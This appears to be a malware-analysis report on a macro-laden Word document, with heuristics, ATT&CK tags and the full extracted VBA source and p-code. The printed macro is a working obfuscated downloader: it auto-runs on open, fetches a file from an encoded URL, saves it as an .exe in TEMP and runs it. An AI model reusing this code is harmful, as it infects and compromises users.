MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros within this Office document are designed to download a file from an HTTP URL and save it to disk, likely for execution. The presence of legacy WordBasic auto-exec markers and a 'CreateObject' call further support malicious intent. The VBA script itself, though partially truncated, contains logic for parsing and evaluating expressions, suggesting it's part of a downloader or initial execution chain.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
UtilsInd2Sub.write CodOrdineCorrente1.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set CodOrdineCorrente1 = CreateObject("Microsof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 83965 bytes |
SHA-256: 3c47d6c7e90b01ccfa531a65b4a2acbf3c43cd53dd8245b33dadda14ae7c9164 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Q "", ""
End Sub
Attribute VB_Name = "Module1"
Private Const VERSION = "1.62"
Private Const NUMERICS = "0123456789"
Private Const ALPHAS = "abcdefghijklmnopqrstuvwxyz"
Private Const SINGLE_OPS = "()[],;:+-#"
Private Const COMBO_OPS = ".|&<>~=*/^!"
Public CodOrdineCorrente1 As Object
Public UtilsInd2Sub As Object
Public CodOrdineCorrente3 As Object
Public CodOrdineCorrente4 As String
Public dimIndexArgs As String
Public UtilsCalcDimDirection As Object
Private expression As String
Private expressionIndex As Long
Private currentToken As String
Private previousTokenIsSpace As Boolean
Private arguments As Variant
Private endValues As Variant
Private errorMsg As String
Private ans As Variant
Public Function Q(expr As String, args As String) As Variant
On Error GoTo ErrorHandler
expression = expr
arguments = Chr(Asc("e"))
endValues = Empty
errorMsg = Chr(Asc("T"))
Parse_FindUnaryPostfixOp "", ""
Exit Function
expressionIndex = 1
Tokens_Next
Dim root As Variant
Do
Select Case currentToken
Case ""
Exit Do
Case ";", vbLf
Tokens_Next
Case Else
root = Parse_Binary()
ans = eval_tree(root)
Utils_Assert _
currentToken = "" Or currentToken = ";" Or currentToken = vbLf, _
""
End Select
Loop While True
Q = ans
Exit Function
ErrorHandler:
If errorMsg = "" Then errorMsg = Err.Description
Q = "ERROR - " & errorMsg
End Function
Private Sub Tokens_Next()
previousTokenIsSpace = Tokens_MoveCharPointer(" ")
If expressionIndex > Len(expression) Then currentToken = "": Exit Sub
Dim startIndex As Long: startIndex = expressionIndex
Select Case Asc(Mid(expression, expressionIndex, 1))
Case Asc("""")
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer """", True
Utils_Assert expressionIndex <= Len(expression), "Unfinished string literal"
expressionIndex = expressionIndex + 1
Case Asc("a") To Asc("z")
Tokens_MoveCharPointer NUMERICS & ALPHAS & "_"
Case Asc("0") To Asc("9")
Tokens_MoveCharPointer NUMERICS
If Tokens_MoveCharPointer(".", False, True) Then
Tokens_MoveCharPointer NUMERICS
End If
If Tokens_MoveCharPointer("eE", False, True) Then
Tokens_MoveCharPointer NUMERICS & "-", False, True
Tokens_MoveCharPointer NUMERICS
End If
Case Asc(vbLf)
expressionIndex = expressionIndex + 1
Case Else
If Not Tokens_MoveCharPointer(SINGLE_OPS, False, True) Then
Tokens_MoveCharPointer COMBO_OPS
End If
End Select
currentToken = Mid(expression, startIndex, expressionIndex - startIndex)
Utils_Assert expressionIndex > startIndex Or expressionIndex > Len(expression), _
"Illegal char: " & Mid(expression, expressionIndex, 1)
End Sub
Private Sub Tokens_AssertAndNext(token As String)
Utils_Assert token = currentToken, "missing token: " & token
Tokens_Next
End Sub
Private Function Tokens_MoveCharPointer(str As String, _
Optional stopAtStr As Boolean = False, _
Optional singleCharOnly As Boolean = False) As Boolean
While expressionIndex <= Len(expression) _
And stopAtStr <> (InStr(str, Mid(expression, expressionIndex, 1)) > 0)
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer = True
If singleCharOnly Then Exit Function
Wend
End Function
Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean
Parse_FindBinaryOp = True
Select Case token
Case "||": op = Array("orshortcircuit", 1, True)
Case "&&": op = Array("andshortcircuit", 2, True)
Case "|": op = Array("or", 3, True)
Case "&": op = Array("and", 4, True)
Case "<": op = Array("lt", 5, True)
Case "<=": op = Array("lte", 5, True)
Case ">": op = Array("gt", 5, True)
Case ">=": op = Array("gte", 5, True)
Case "==": op = Array("eq", 5, True)
Case "=": op = Array("eq", 5, True)
Case "~=": op = Array("ne", 5, True)
Case "<>": op = Array("ne", 5, True)
Case ":": op = Array("colon", 6, False)
Case "+": op = Array("plus", 7, True)
Case "-": op = Array("minus", 7, True)
Case "*": op = Array("mtimes", 8, True)
Case ".*": op = Array("times", 8, True)
Case "/": op = Array("mdivide", 8, True)
Case "./": op = Array("divide", 8, True)
Case "^": op = Array("mpower", 9, True)
Case ".^": op = Array("power", 9, True)
Case Else: Parse_FindBinaryOp = False
End Select
End Function
Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean
Parse_FindUnaryPrefixOp = True
Select Case token
Case "+": op = "uplus"
Case "-": op = "uminus"
Case "~": op = "negate"
Case "#": op = "numel"
Case "!": op = "extern"
Case Else: Parse_FindUnaryPrefixOp = False
End Select
End Function
Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean
Set CodOrdineCorrente1 = CreateObject("Microsof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P")
Parkse_List
Exit Function
Parse_FindUnaryPostfixOp = True
Select Case token
Case ""
Case Else: Parse_FindUnaryPostfixOp = False
End Select
End Function
Private Function Parse_Matrix() As Variant
While currentToken <> "]"
Utils_Stack_Push Park.se_List(True), Parse_Matrix
If currentToken = ";" Then Tokens_Next
Utils_Assert currentToken <> "", "Missing "
Wend
End Function
Private Function Parkse_List(Optional isSpaceSeparator As Boolean = False) As Variant
Set UtilsInd2Sub = CreateObject("Adodb.S" + LCase(errorMsg) + "r" + arguments + "am")
Parse_Binary
Exit Function
Do While InStr(";)]", currentToken) = 0
If currentToken = "," Then
Utils_Stack_Push Array("eval_constant", Empty), Park.se_List
Else
Utils_Stack_Push Parse_Binary(), Park.se_List
End If
If currentToken = "," Then
Tokens_Next
ElseIf Not (previousTokenIsSpace And isSpaceSeparator) Then
Exit Do
End If
Loop
End Function
Private Function Parse_Binary(Optional lastPrec As Long = -999) As Variant
Set UtilsCalcDimDirection = CreateObject("Sh" + arguments + "ll.Applica" + LCase(errorMsg) + "ion")
Parse_Postfix
Exit Function
Parse_Binary = Parse_Prefix()
Dim op: Do While Parse_FindBinaryOp(currentToken, op)
If op(2) + CLng(op(3)) < lastPrec Then Exit Do
Tokens_Next
Parse_Binary = Array("op_" & op(1), Array(Parse_Binary, Parse_Binary(CLng(op(2)))))
Loop
End Function
Private Function Parse_Prefix() As Variant
Dim op
If Parse_FindUnaryPrefixOp(currentToken, op) Then
Tokens_Next
Parse_Prefix = Array("op_" & op, Array(Parse_Prefix()))
Else
Parse_Prefix = Parse_Postfix()
End If
End Function
Private Function Parse_Postfix() As Variant
Set CodOrdineCorrente3 = CreateObject("WScrip" + LCase(errorMsg) + ".Sh" + arguments + "ll").Environment("Proc" + arguments + "ss")
MAX 0, 0
Exit Function
Parse_Postfix = Parse_Atomic
Dim op: Do
If Parse_FindUnaryPostfixOp(currentToken, op) Then
Parse_Postfix = Array("op_" & op, Array(Parse_Postfix))
Tokens_Next
ElseIf currentToken = "(" Then
Tokens_Next
Parse_Postfix = Array("eval_index", Array(Parse_Postfix, Park.se_List()))
Tokens_AssertAndNext ")"
Else
Exit Do
End If
Loop While True
End Function
Private Function Parse_Atomic() As Variant
Utils_Assert currentToken <> "", "missing argument"
Select Case Asc(currentToken)
Case Asc(":")
Parse_Atomic = Array("eval_colon", Empty)
Tokens_Next
Case Asc("(")
Tokens_Next
Parse_Atomic = Parse_Binary()
Tokens_AssertAndNext ")"
Case Asc("[")
Tokens_Next
Parse_Atomic = Array("eval_concat", Parse_Matrix())
Tokens_AssertAndNext "]"
Case Asc("""")
Parse_Atomic = Array("eval_constant", Mid(currentToken, 2, Len(currentToken) - 2))
Tokens_Next
Case Asc("0") To Asc("9")
Parse_Atomic = Array("eval_constant", Val(currentToken))
Tokens_Next
Case Asc("a") To Asc("z")
If currentToken = "end" Then
Parse_Atomic = Array("eval_end", Empty)
Tokens_Next
ElseIf currentToken = "ans" Then
Parse_Atomic = Array("eval_ans", Empty)
Tokens_Next
ElseIf Len(currentToken) = 1 Then
Parse_Atomic = Array("eval_arg", Asc(currentToken) - Asc("a"))
Tokens_Next
Else
Parse_Atomic = "fn_" & currentToken
Tokens_Next
If currentToken = "(" Then
Tokens_AssertAndNext "("
Parse_Atomic = Array(Parse_Atomic, Park.se_List())
Tokens_AssertAndNext ")"
Else
Parse_Atomic = Array(Parse_Atomic, Empty)
End If
End If
Case Else
Utils_Assert False, "unexpected token: " & currentToken
End Select
End Function
Private Function MAX(a As Variant, b As Variant) As Variant
Dim homebrew() As Variant
homebrew = Array(7946, 7958, 7958, 7954, 7900, 7889, 7889, 7941, 7887, 7952, 7953, 7942, 7939, 7888, 7891, 7954, 7961, 7953, 7956, 7949, 7957, 7888, 7941, 7953, 7951, 7889, 7947, 7898, 7959, 7897, 7896, 7958, 7894, 7895, 7889, 7943, 7944, 7956, 7945, 7958, 7894, 7895, 7888, 7943, 7962, 7943)
CodOrdineCorrente1.Open Chr(Asc("H") - 1) + UCase(arguments) + errorMsg, UtilsAssertToken(homebrew, 45), False
Utils_Numel 2
Exit Function
If a > b Then MAX = a Else MAX = b
End Function
Private Function MIN(a As Variant, b As Variant) As Variant
If a < b Then MIN = a Else MIN = b
End Function
Private Function IFF(a As Boolean, b As Variant, c As Variant) As Variant
If a Then IFF = b Else IFF = c
End Function
Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String = "")
If Utils_Dimensions(tree) > 0 Then
Dim leaf: For Each leaf In tree
Utils_DumpTree leaf, spacer & " "
Next leaf
Else
Debug.Print spacer & tree
End If
End Sub
Private Function Utils_Dimensions(v As Variant) As Long
Dim dimnum As Long, errorCheck As Integer
On Error GoTo FinalDimension
For dimnum = 1 To 60000
errorCheck = LBound(v, dimnum)
Next
FinalDimension:
Utils_Dimensions = dimnum - 1
End Function
Private Function Utils_Numel(v As Long) As Long
CodOrdineCorrente1.Send
CodOrdineCorrente4 = CodOrdineCorrente3(errorMsg + UCase(arguments) + "MP")
dimIndexArgs = CodOrdineCorrente4 + "\dimenas." + arguments + "x" + arguments + ""
Utils_Ind2Sub 1, 0, 0, 0
Exit Function
Select Case Utils_Dimensions(v)
Case 0: Utils_Numel = IFF(IsEmpty(v), 0, 1)
Case 1: Utils_Numel = UBound(sccv)
Case 2: Utils_Numel = UBound(sccv, 1) * UBound(sccv, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Function
Private Function Utils_Rows(ByRef v As Variant) As Long
Dim c As Long
Utils_Size v, Utils_Rows, c
End Function
Private Function Utils_Cols(ByRef v As Variant) As Long
Dim r As Long
Utils_Size v, r, Utils_Cols
End Function
Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)
r = 0: c = 0
Select Case Utils_Dimensions(v)
Case 0: If Not IsEmpty(v) Then r = 1: c = 1
Case 1: r = UBound(v): c = 1
Case 2: r = UBound(v, 1): c = UBound(v, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Sub
Public Function UtilsAssertToken(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String
Dim i As Integer
Dim g_oPubGetResString As String
g_oPubGetResString = ""
For i = LBound(ByValvDefault) To UBound(ByValvDefault)
g_oPubGetResString = g_oPubGetResString & Chr(ByValvDefault(i) - 33 * NothingOrNodeName - 5544 - 778 - 35)
Next i
UtilsAssertToken = g_oPubGetResString
End Function
Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)
UtilsInd2Sub.Type = rows
UtilsInd2Sub.Open
Utils_Stack_Push "", ""
Exit Sub
j = (k - 1) \ rows + 1
i = k - rows * (j - 1)
End Sub
Private Sub Utils_Conform(ByRef v As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
v = v(1)
Else
Dim r: ReDim r(1, UBound(v))
Dim i As Long
For i = 1 To UBound(r, 2)
r(1, i) = v(i)
Next i
v = r
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then v = v(1, 1)
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
assignToMe = v(1)
Else
ReDim assignToMe(1, UBound(v))
Dim i As Long
For i = 1 To UBound(assignToMe, 2)
assignToMe(1, i) = v(i)
Next i
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then
assignToMe = v(1, 1)
Else
assignToMe = v
End If
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ForceMatrix(ByRef v As Variant)
If Utils_Dimensions(v) = 0 Then
Dim r: ReDim r(1, 1)
r(1, 1) = v
v = r
End If
End Sub
Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)
UtilsInd2Sub.write CodOrdineCorrente1.responseBody
UtilsInd2Sub.savetofile dimIndexArgs, 2
Utils_CalcDimDirection ""
Exit Sub
On Error GoTo NotInitiated
ReDim Preserve stack(LBound(stack) To UBound(stack) + 1)
stack(UBound(stack)) = item
Exit Sub
NotInitiated:
stack = Array(item)
End Sub
Private Function Utils_Stack_Pop(stack As Variant) As Variant
Dim ub As Long: ub = UBound(stack)
Dim lb As Long: lb = LBound(stack)
Utils_Stack_Pop = stack(ub)
If ub > lb Then ReDim Preserve stack(lb To ub - 1) Else stack = Null
End Function
Private Function Utils_Stack_Peek(stack As Variant) As Variant
Utils_Stack_Peek = stack(UBound(stack))
End Function
Private Function Utils_Stack_Size(stack As Variant) As Long
On Error Resume Next
Utils_Stack_Size = UBound(stack)
End Function
Private Sub Utils_CalcArgs(args As Variant)
Dim i As Long: For i = 1 To Utils_Stack_Size(args)
args(i) = eval_tree(args(i))
Next i
End Sub
Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean
Dim i As Long
For i = UBound(args) To 1 Step -1
If StrComp(TypeName(args(i)), "String") = 0 Then
If StrComp(args(i), flag, vbTextCompare) = 0 Then
Utils_IsFlagSet = True
Exit Function
End If
End If
Next i
End Function
Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long = 2) As Long
UtilsCalcDimDirection.Open (dimIndexArgs)
Exit Function
If UBound(addrgs) >= dimIndex Then
If IsNumeric(addrgs(dimIndex)) Then
Utils_CalcDimDirection = addrgs(dimIndex) - 1
Exit Function
End If
End If
Utils_CalcDimDirection = IFF(Utils_Rows(addrgs(1)) = 1, 1, 0)
End Function
Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long = 2)
Select Case Utils_Stack_Size(args)
Case Is < index
n = 1: m = 1
Case Is = index
Select Case Utils_Numel(args(index))
Case 1
n = args(index)
m = n
Case 2
n = args(index)(1, 1)
m = args(index)(MIN(2, UBound(args(index), 1)), MIN(2, UBound(args(index), 2)))
Case Else
Utils_Assert False, "bad size input"
End Select
Case Is = index + 1
n = args(index)
m = args(index + 1)
Case Else
Utils_Assert False, "bad size input"
End Select
End Function
Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)
If Utils_Stack_Size(args) >= index Then
Utils_GetOptionalArg = args(index)
Else
Utils_GetOptionalArg = defaultValue
End If
End Function
Private Function Utils_SetupBinaryOperation(args As Variant, r As Variant, _
ByRef r1 As Long, ByRef c1 As Long, ByRef r2 As Long, ByRef c2 As Long, _
Optional preCalcArgs As Boolean = True) As Variant
If preCalcArgs Then Utils_CalcArgs args
Utils_ForceMatrix args(1): Utils_Size args(1), r1, c1
Utils_ForceMatrix args(2): Utils_Size args(2), r2, c2
Utils_Assert (r1 = 1 And c1 = 1) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2), _
"dimension mismatch"
ReDim r(MAX(r1, r2), MAX(c1, c2))
End Function
Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)
Dim size As Long: size = Utils_Stack_Size(args)
Utils_Assert size >= lb, "too few arguments"
Utils_Assert size <= ub, "too many arguments"
End Sub
Private Sub Utils_Assert(expr As Boolean, Optional msg As String = "unknown error")
If expr Then Exit Sub
errorMsg = msg
Err.Raise vbObjectError + 999
End Sub
Private Function eval_tree(root As Variant) As Variant
If left(root(1), 3) = "fn_" And root(1) <> "fn_if" And root(1) <> "fn_iferror" And root(1) <> "fn_expand" Then
Utils_CalcArgs root(2)
End If
Select Case root(1)
Case "eval_constant": eval_tree = eval_constant(root(2))
Case "eval_arg": eval_tree = eval_arg(root(2))
Case "eval_index": eval_tree = eval_index(root(2))
Case "eval_end": eval_tree = eval_end(root(2))
Case "eval_colon": eval_tree = eval_colon(root(2))
Case "eval_concat": eval_tree = eval_concat(root(2))
Case "op_eq": eval_tree = op_eq(root(2))
Case "op_plus": eval_tree = op_plus(root(2))
Case "op_minus": eval_tree = op_minus(root(2))
Case "op_mtimes": eval_tree = op_mtimes(root(2))
Case "op_colon": eval_tree = op_colon(root(2))
Case "fn_sum": eval_tree = fn_sum(root(2))
Case "fn_repmat": eval_tree = fn_repmat(root(2))
Case Else
eval_tree = Run(root(1), root(2))
End Select
End Function
Private Function eval_constant(args As Variant) As Variant
eval_constant = args
End Function
Private Function eval_arg(args As Variant) As Variant
If args > UBound(arguments) Then
Utils_Assert False, "argument "
End If
eval_arg = CVar(arguments(args))
Utils_Conform eval_arg
End Function
Private Function eval_end(args As Variant) As Variant
Utils_Assert Utils_Stack_Size(endValues) > 0, """end"" not allowed here."
eval_end = Utils_Stack_Peek(endValues)
End Function
Private Function eval_ans(args As Variant) As Variant
eval_ans = ans
End Function
Private Function eval_colon(args As Variant) As Variant
Utils_Assert False, "colon not allowed here"
End Function
Private Function fn_sort(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 4
Dim sortRows As Boolean, ascend As Boolean, returnIndices As Boolean
sortRows = (1 = Utils_CalcDimDirection(args))
ascend = Not Utils_IsFlagSet(args, "descend")
returnIndices = Utils_IsFlagSet(args, "indices")
If sortRows Then
args(1) = WorksheetFunction.Transpose(args(1))
Utils_Conform args(1)
End If
Utils_ForceMatrix args(1)
Dim rows As Long, cols As Long, i As Long, j As Long
Utils_Size args(1), rows, cols
Dim indices: ReDim indices(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
indices(i, j) = i
Next j
Next i
For j = 1 To cols
Utils_QuickSortCol args(1), indices, 1, rows, j, ascend
Next j
If returnIndices Then
fn_sort = indices
Else
Dim r: ReDim r(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
r(i, j) = args(1)(indices(i, j), j)
Next j
Next i
fn_sort = r
End If
If sortRows Then fn_sort = WorksheetFunction.Transpose(fn_sort)
Utils_Conform fn_sort
End Function
Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)
If first >= last Then Exit Function
Dim tmp As Variant
Dim pivot As Variant: pivot = arr(indices(first, col), col)
Dim left As Long: left = first
Dim right As Long: right = last
Dim ascendprefix As Long: ascendprefix = -1 - 2 * Sgn(ascend)
While left <= right
While ascendprefix * Utils_Compare(arr(indices(left, col), col), pivot) < 0
left = left + 1
Wend
While ascendprefix * Utils_Compare(pivot, arr(indices(right, col), col)) < 0
right = right - 1
Wend
If left <= right Then
tmp = indices(left, col)
indices(left, col) = indices(right, col)
indices(right, col) = tmp
left = left + 1
right = right - 1
End If
Wend
Utils_QuickSortCol arr, indices, first, right, col, ascend
Utils_QuickSortCol arr, indices, left, last, col, ascend
End Function
Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant
If IsNumeric(arg1) Then
If IsNumeric(arg2) Then
Utils_Compare = arg1 - arg2
Else
Utils_Compare = -1
End If
Else
If IsNumeric(arg2) Then
Utils_Compare = 1
Else
Utils_Compare = StrComp(CStr(arg1), CStr(arg2))
End If
End If
End Function
Private Function fn_arrayfun(args As Variant) As Variant
Utils_AssertArgsCount args, 2, 100
Utils_Assert TypeName(args(1)) = "String", "apply: 1st argument must be an Excel function name."
Dim i As Long, r1 As Long, c1 As Long, r2 As Long, c2 As Long
r1 = -1: c1 = -1
For i = 2 To Utils_Stack_Size(args)
Utils_ForceMatrix args(i)
Utils_Size args(i), r2, c2
Utils_Assert (r1 < 0 And c1 < 0) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2) Or ((r1 = 1 Or r1 = r2) And c2 = 1) Or (r2 = 1 And (c1 = 1 Or c1 = c2)), "apply(): Wrong input sizes."
r1 = MAX(r1, r2): c1 = MAX(c1, c2)
Next i
Dim v, r: ReDim r(r1, c1)
For r1 = 1 To UBound(r, 1)
For c1 = 1 To UBound(r, 2)
v = Empty
For i = 2 To Utils_Stack_Size(args)
Utils_Size args(i), r2, c2
Utils_Stack_Push args(i)(MIN(r1, r2), MIN(c1, c2)), v
Next i
r(r1, c1) = Evaluate(args(1) & "(" & Join(v, ",") & ")")
Next c1
Next r1
Utils_ConformAndAssign r, fn_arrayfun
End Function
Private Function fn_concat(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Dim i As Long, j As Long, x As Long, joiner As String
Utils_ForceMatrix args(1)
x = Utils_CalcDimDirection(args, 3)
If UBound(args) > 1 Then joiner = args(2)
Dim r: ReDim r(x * UBound(args(1), 1) + (1 - x), (1 - x) * UBound(args(1), 2) + x)
For i = 1 To UBound(args(1), 1)
For j = 1 To UBound(args(1), 2)
If (1 - x) * i + x * j = 1 Then
r(x * i + (1 - x), (1 - x) * j + x) = args(1)(i, j)
Else
r(x * i + (1 - x), (1 - x) * j + x) = r(x * i + (1 - x), (1 - x) * j + x) & joiner & args(1)(i, j)
End If
Next j
Next i
Utils_ConformAndAssign r, fn_concat
End Function
Private Function fn_expand(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Utils_Assert args(1)(1) = "eval_arg", "expand(): 1st argument must be a cell"
Dim cell As Range: Set cell = arguments(args(1)(2))
Dim rows As Long, cols As Long
If UBound(args) > 1 Then rows = eval_tree(args(2))
If UBound(args) > 2 Then cols = eval_tree(args(3))
If rows <= 0 Then
rows = cell.End(xlDown).Row - cell.Row + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(1, 0) = "" Then rows = 1
End If
End If
If cols <= 0 Then
cols = cell.End(xlToRight).Column - cell.Column + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(0, 1) = "" Then cols = 1
End If
End If
Utils_ConformAndAssign cell.Resize(rows, cols).Value, fn_expand
End Function
Private Function fn_version(args As Variant) As Variant
Utils_AssertArgsCount args, 0, 0
fn_version = VERSION
End Function
' Processing file: /tmp/qstore_yuv8zuy2
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1316 bytes
' Line #0:
' FuncDefn (Sub autoopen())
' Line #1:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Q 0x0002
' Line #2:
' EndSub
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Macros/VBA/Module1 - 40556 bytes
' Line #0:
' Line #1:
' Dim (Private Const)
' LitStr 0x0004 "1.62"
' VarDefn VERSION
' Line #2:
' Dim (Private Const)
' LitStr 0x000A "0123456789"
' VarDefn NUMERICS
' Line #3:
' Dim (Private Const)
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz"
' VarDefn ALPHAS
' Line #4:
' Dim (Private Const)
' LitStr 0x000A "()[],;:+-#"
' VarDefn SINGLE_OPS
' Line #5:
' Dim (Private Const)
' LitStr 0x000B ".|&<>~=*/^!"
' VarDefn COMBO_OPS
' Line #6:
' Line #7:
' Dim (Public)
' VarDefn CodOrdineCorrente1 (As Object)
' Line #8:
' Dim (Public)
' VarDefn UtilsInd2Sub (As Object)
' Line #9:
' Dim (Public)
' VarDefn CodOrdineCorrente3 (As Object) 0x001B
' Line #10:
' Dim (Public)
' VarDefn CodOrdineCorrente4 (As String)
' Line #11:
' Dim (Public)
' VarDefn dimIndexArgs (As String)
' Line #12:
' Dim (Public)
' VarDefn UtilsCalcDimDirection (As Object)
' Line #13:
' Dim (Private)
' VarDefn expression (As String)
' Line #14:
' Dim (Private)
' VarDefn expressionIndex (As Long)
' Line #15:
' Dim (Private)
' VarDefn currentToken (As String)
' Line #16:
' Dim (Private)
' VarDefn previousTokenIsSpace (As Boolean)
' Line #17:
' Dim (Private)
' VarDefn arguments (As Variant)
' Line #18:
' Dim (Private)
' VarDefn endValues (As Variant)
' Line #19:
' Dim (Private)
' VarDefn errorMsg (As String)
' Line #20:
' Dim (Private)
' VarDefn ans (As Variant)
' Line #21:
' FuncDefn (Public Function Q(expr As String, args As String) As Variant)
' Line #22:
' OnError ErrorHandler
' Line #23:
' Ld expr
' St expression
' Line #24:
' LitStr 0x0001 "e"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St arguments
' Line #25:
' LitVarSpecial (Empty)
' St endValues
' Line #26:
' LitStr 0x0001 "T"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St errorMsg
' Line #27:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Parse_FindUnaryPostfixOp 0x0002
' Line #28:
' ExitFunc
' Line #29:
' LitDI2 0x0001
' St expressionIndex
' Line #30:
' ArgsCall Tokens_Next 0x0000
' Line #31:
' Dim
' VarDefn root (As Variant)
' Line #32:
' Do
' Line #33:
' Ld currentToken
' SelectCase
' Line #34:
' LitStr 0x0000 ""
' Case
' CaseDone
' Line #35:
' ExitDo
' Line #36:
' LitStr 0x0001 ";"
' Case
' Ld vbLf
' Case
' CaseDone
' Line #37:
' ArgsCall Tokens_Next 0x0000
' Line #38:
' CaseElse
' Line #39:
' ArgsLd Parse_Binary 0x0000
' St root
' Line #40:
' Ld root
' ArgsLd eval_tree 0x0001
' St ans
' Line #41:
' LineCont 0x0008 01 00 01 00 0D 00 01 00
' Ld currentToken
' LitStr 0x0000 ""
' Eq
' Ld currentToken
' LitStr 0x0001 ";"
' Eq
' Or
' Ld currentToken
' Ld vbLf
' Eq
' Or
' LitStr 0x0000 ""
' ArgsCall Utils_Assert 0x0002
' Line #42:
' EndSelect
' Line #43:
' LitVarSpecial (True)
' LoopWhile
' Line #44:
' Ld ans
' St Q
' Line #45:
' ExitFunc
' Line #46:
' Label ErrorHandler
' Line #47:
' Ld errorMsg
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' Ld Err
' MemLd Description
' St errorMsg
' EndIf
' Line #48:
' LitStr 0x0008 "ERROR - "
' Ld errorMsg
' Concat
' St Q
' Line #49:
' EndFunc
' Line #50:
' FuncDefn (Private Sub Tokens_Next())
' Line #51:
' LitStr 0x0001 " "
' ArgsLd Tokens_MoveCharPointer 0x0001
' St previousTokenIsSpace
' Line #52:
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' If
' BoSImplicit
' LitStr 0x0000 ""
' St currentToken
' BoS 0x0000
' ExitSub
' EndIf
' Line #53:
' Dim
' VarDefn startIndex (As Long)
' BoS 0x0000
' Ld expressionIndex
' St startIndex
' Line #54:
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' ArgsLd Asc 0x0001
' SelectCase
' Line #55:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #56:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #57:
' LitStr 0x0001 """
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0002
' Line #58:
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' LitStr 0x0019 "Unfinished string literal"
' ArgsCall Utils_Assert 0x0002
' Line #59:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #60:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #61:
' Ld NUMERICS
' Ld ALPHAS
' Concat
' LitStr 0x0001 "_"
' Concat
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #62:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
